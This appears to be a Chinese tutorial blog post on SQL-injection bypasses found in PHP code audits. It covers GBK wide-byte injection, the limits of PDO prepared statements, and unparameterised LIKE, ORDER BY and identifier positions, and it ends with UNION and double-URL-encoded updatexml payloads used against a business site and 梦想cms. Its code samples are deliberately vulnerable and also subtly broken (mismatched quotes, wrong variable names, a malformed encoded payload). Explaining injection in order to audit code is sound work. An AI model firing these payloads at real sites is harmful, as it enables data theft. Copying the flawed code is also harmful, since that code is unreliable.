代码审计sql注入部分函数绕过方法

目录

1.宽字节注入

2.预编译模式下的sql注入

3无法预编译的

1.3.1. like关键字

1.3.2.不能加单引号

4.相关实战实战

4.1.某个业务网站具有sql注入

4.2.梦想cms代码审计

5.相关参考资料

 

1.宽字节注入

<?php
$db=init_db();
$db->query("set SET NAMES'gbk'); //设置gbk字符集
$username = addslashes($_GET['username']); //input: admin' and 1=1#
$db->query("select* from table where username = '$username' ")
?>

这里我们可以看到在对代码层面做操作,首先有个函数addslashes,他是一种在PHP中存在的字符串处理函数,它的作用是在指定的字符前添加反斜线。这些特定的字符包括单引号(')、双引号(")、反斜线(\)以及NULL。通常用于准备一个字符串用于将数据插入到数据库中,特别是在使用旧版本的PHP或没有预处理语句时,防止SQL注入攻击。

我们输入admin' and 1=1#时,会被系统解析为select* from table where username ='admin\' and 1=1#,单引号被\拦截

但是我输入一个admin%bf' and 1=1#时,就可以绕过。执行的sql语句就为

select* from table where username ='admin縗' and 1=1#

 我们输入的%bf系统为了影响单引号闭合的“\”也就是0x5c结合,就构成了一个新的汉字“

0x5c=\

0x27='

0xbf27=¿'

0xbf5c=縗

GBK编码的汉字会占据两个字节(bf是第一个而5c是第二个),当使用GBK编码遇到两个字节都符合其取值范围时,就会将其解析成为一个汉字,第一个字节取值范围为129-254,第二个字节范围为64-254

2.预编译模式下的sql注入

<?php
$username = $GET['username'];  // 从GET请求中取出名为'username'的参数,将其值赋给变量$username
$db="mysql:host=127.0.0.1;dbname=test;charset=gbk";  // 定义了数据库连接的DSN(数据源名称),包括主机、数据库名和字符集
$dbname ="root";  // 数据库用户名
$passwd ="root";  // 数据库密码
$conn =new PDO($db, $dbname, $passwd);  // 使用PDO对象(PHP数据对象)创建一个新的数据库连接
$conn->query('SET NAMES GBK');  // 设置客户端字符编码为GBK
$stmt = $conn->prepare("select * from table where username= :username");  // 准备一条SQL查询语句,使用命名参数":username"
$stmt->bindParam(":username", $username);  // 将$username变量绑定到命名参数":username"
$stmt->execute();  // 执行该SQL查询
?>

在这里,看似可能是安全的,但是还是无法解决问题,因为在第8行的

$stmt = $conn->prepare("select * from table where username= :username");

实际上是这样子的

==>$stmt->sql ="select * from table where username='${addslashes($input)}'"

接下来的流程就和我们上述的宽字节过程一样了,

输入:admin%bf' and 1=1#
执行的sql语句就为:select* from table where username ='admin縗' and 1=1#

3无法预编译的

1.3.1. like关键字

我们知道sql语句的模糊查找里面用的关键字like,而like关键字默认是不会预编译的(如果使用Mybats则是预编译报错)。数据库方给出的原因是like预编译会造成慢查询和DOS

<?php
$username = $_GET['username'];
$db = "mysql:host=127.0.0.;dbname=test;";
$dbname ="root";
$passwd ="root";
$conn = new PDO($dbs, $dbname, $passwd);
$conn->query('SET NAMES GBK');
$stmt = $conn->prepare("select *from table where username like'%:username%'"); //不生效 这不会工作,因为带有占位符的LIKE模式不能这样使用
$stmt = $conn->prepare("select * from table where username like concat('%',:username,'%'");//生效 这则会正常工作,因为正确地通过concat拼接了模糊匹配的通配符
$stmt->bindParam(":username",$username):
$stmt->execute();
?>

很多开发人员会遗漏手动添加这个点,因而预编译未生效。

java的开发人员开发时,Mybatis编译报错,然后他们自己去添加过滤(过滤没写好)或者不过滤(使用原生语句),导致GG.与之类似的还有IN关键字,该位置也默认不能预编译,需要在预编译语法中去for循环,有些程序员为了方便,可能也会在这边偷工减料。

1.3.2.不能加单引号

我们分析一下上述一段代码

$newInput = addslashes($input)//内容转义
sql = select * from table where column = '$newInput'//强制用单引号包裹

该代码强制了改sql语句进行单引号进行闭合,

我们有下列sql语句

select $username$,password from $tables where $username2$ = '$dada$' order by $username3$ $desc$ limit $0$,l

上述红色字体都是不能接单引号的,总结就是

表名、列名、limit子句、order by(desc/asc)

很多开发可能会忽略这一点,导致存在漏洞

4.相关实战实战

4.1.某个业务网站具有sql注入

可以看到,并没有对$ip传入的值进行过滤的操作。

如下应该是定位该函数,看谁定义的这个函数,全局搜索是观察引用的函数。

realIP来源:

Server用法(获取IP):

这里我们填入以下payload

ip' union select 1,2,3,4,5# 

证明有注入点就行,这里不过多展示。

4.2.梦想cms代码审计

首先来到相关页面,观察到有几个参数。

在相关提示中提示在BookAction.class.php中存在注入漏洞。

打开查看

前台存在sql注入:

跟踪filter:

这里过滤了太多东西,大小写还有正则,但是我们回到第一张图片,可以看到一个函数:urldecode(),对url解码

回到第一张图片,进入getNameDate函数:

跟踪oneModel

注入语句:

' and updatexml(0,concat(0x7e,user()),1)#

编码一次:

%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%a63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29

编码两次:

%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33

 两次url编码,利用成功

5.相关参考资料

奇安信攻防社区-SQL注入&预编译

https://codeantenna.com/a/WzaLCig9qw

https://codeantenna.com/a/WzaLCig9qw

奇安信攻防社区-梦想cms漏洞合集

奇安信攻防社区-梦想cms二次注入漏洞分析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/527112.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Thonny 开发环境下使用PICO系列教程2----点亮板载灯3S后熄灭

Thonny 开发环境下使用PICO系列教程2----点亮板载灯3S后熄灭 硬件代码 硬件 链接: 官网地址 参考原理图可以发现&#xff0c;PICO板载灯连接的是GP25引脚 代码 // 板载灯点亮3秒后熄灭 import board //想要控制PICO的引脚就要引入board import time//延迟 from digitali…

【QT入门】Qt自定义控件与样式设计之QPushButton常用qss

往期回顾 【QT入门】Qt自定义控件与样式设计之qss介绍(Qt style sheet)-CSDN博客 【QT入门】 Qt自定义控件与样式设计之qss选择器-CSDN博客 【QT入门】 Qt自定义控件与样式设计之QLineEdit的qss使用-CSDN博客 【QT入门】Qt自定义控件与样式设计之QPushButton常用qss 这里我们主…

数据结构__顺序表

概念及结构 顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构&#xff0c;一般情况下采用数组存储。在数组上完成数据的增删查改 需要用到数组&#xff1a;数组的绝对优势&#xff1a;下标的随机访问&#xff08;因为物理空间连续&#xff09; a[i]等…

政安晨【AIGC实践】(一):在Kaggle上部署使用Stable Diffusion

目录 简述 开始 配置 执行 安装完毕&#xff0c;一键运行 结果展示 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 人工智能数字虚拟世界实践 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提…

2024.4.8-day12-CSS 常用样式属性和字体图标

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 作业2024.4.8-学习笔记盒子阴影文本阴影透明的vertical-align字体使用 作业 &…

2024年网络安全趋势前瞻:从AI攻击到云安全新挑战

随着2024年开展新的序幕&#xff0c;网络安全领域正面临着前所未有的挑战与机遇&#xff0c;一系列引人注目的趋势和预测逐渐浮出水面。 一、AI技术发展引发的安全问题 近年来&#xff0c;我们见证了AI技术的飞速进步&#xff0c;其中ChatGPT等引领潮流的AI服务成为公众瞩目的…

鸿蒙OS实战开发:【多设备自适应服务卡片】

介绍 服务卡片的布局和使用&#xff0c;其中卡片内容显示使用了一次开发&#xff0c;多端部署的能力实现多设备自适应。 用到了卡片扩展模块接口&#xff0c;[ohos.app.form.FormExtensionAbility] 。 卡片信息和状态等相关类型和枚举接口&#xff0c;[ohos.app.form.formInf…

C++要点细细梳理——trivial:运算符优先级、switch、临时变量默认赋值等

1. 运算符优先级 在C语言中&#xff0c;运算符的优先级决定了在表达式中各个运算符的执行顺序。当一个表达式中有多个运算符时&#xff0c;优先级高的运算符会先被计算。如果两个运算符的优先级相同&#xff0c;那么它们的结合性&#xff08;从左到右或从右到左&#xff09;会决…

【优选算法专栏】专题十六:BFS解决最短路问题(二)

本专栏内容为&#xff1a;算法学习专栏&#xff0c;分为优选算法专栏&#xff0c;贪心算法专栏&#xff0c;动态规划专栏以及递归&#xff0c;搜索与回溯算法专栏四部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小…

主从复制、数据持久化 、Redis主从集群、哨兵机制 、Redis分片集群

数据持久化 Redis、主从集群、哨兵机制 Redis分片集群 1、单点 redis 的问题2、主从复制2.1 命令传播 3、Redis的持久化3.1 AOF3.2 RDB&#xff08;默认方式&#xff09;RDB 方式&#xff1a;执行快照时&#xff0c;数据能被修改吗&#xff1f;RDB 方式总结 3.3 RDB 和 AOF 组合…

ORAN C平面 Section Extension 22

ORAN C平面Section扩展22用于ACK/NACK请求。除section type 7外&#xff0c;section扩展22可以用于从O-DU发送到O-RU的所有section type和section扩展。 对于一个section描述&#xff0c;O-DU可以使用section扩展22要求O-RU使用section type 8 C平面消息进行ACK/NACK反馈。关于…

ctfshow web入门 web29-web38

web29 把flag和i屏蔽了 system函数也行但是通常会屏蔽所以我直接用passthru 看看有啥 cat的话要查看源代码 web30 没有意外把这个system屏蔽了没事我不用哈哈哈 ?cpassthru("cat f*"); 然后查看源代码 web31 把空格屏蔽了 某位大佬的题解看到的 %09或者/**/绕过…

代码随想录第34天| 1005.K次取反后最大化的数组和 134. 加油站 135. 分发糖果

1005.K次取反后最大化的数组和 1005. K 次取反后最大化的数组和 - 力扣&#xff08;LeetCode&#xff09; 代码随想录 (programmercarl.com) 贪心算法&#xff0c;这不就是常识&#xff1f;还能叫贪心&#xff1f;LeetCode&#xff1a;1005.K次取反后最大化的数组和_哔哩哔…

思维的类比

Learn More, Study Less 中提出了整体学习法&#xff08;Holistic learning&#xff09;&#xff0c;其基本思想是&#xff1a;你不可能孤立地学会一个概念&#xff0c;而只能将其融入已有的概念体系中&#xff0c;从不同角度对其进行刻画来弄懂其内涵和外延并且书中使用三个类…

力扣2- 两数相加

给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 …

ubuntu安装

一、安装虚拟机 https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html 下载后运行安装向导&#xff0c;一直Next即可 许可证&#xff1a; https://zhuanlan.zhihu.com/p/685829787#:~:textpro,17%E5%AF%86%E9%92%A5%EF%BC%9AMC60H-DWHD5-H80U9-6…

单词接龙--C++

目录 题目描述 输入格式 输出格式 输入 输出 一、AC代码 二、代码分析 三、vector加深理解 题目描述 单词接龙是一个与我们经常玩的成语接龙相类似的游戏&#xff0c;现在我们已知一组单词&#xff0c;且给定一个开头的字母&#xff0c;要求出以这个字母开头的最长的“…

【LAMMPS学习】八、基本知识的讨论(1.3)从一个输入脚本运行多个模拟

8. 基本知识的讨论 此部分描述了如何使用 LAMMPS 为用户和开发人员执行各种任务。术语表页面还列出了 MD 术语&#xff0c;以及相应 LAMMPS 手册页的链接。 LAMMPS 源代码分发的 examples 目录中包含的示例输入脚本以及示例脚本页面上突出显示的示例输入脚本还展示了如何设置和…

ICLR24_OUT-OF-DISTRIBUTION DETECTION WITH NEGATIVE PROMPTS

摘要 分布外检测&#xff08;OOD Detection&#xff09;的研究对于开放世界&#xff08;open-world&#xff09;学习非常重要。受大模型&#xff08;CLIP&#xff09;启发&#xff0c;部分工作匹配图像特征和提示来实现文本-图像特征之间的相似性。 现有工作难以处理具有与已…

灵活就业人员规模已达2亿人?财会卷王们如何在“卷卷卷”中脱颖而出?

先来看几个数据&#xff1a; 1️⃣2022年全国大学生毕业人数突破1000万&#xff0c;而2023年突破1100万&#xff1b; 2️⃣有超过200万海外留学生&#xff0c;即将回国就业&#xff1b; 3️⃣全国灵活就业人员规模已达2亿人。 &#xff08;图源&#xff1a;互联网&#xff0…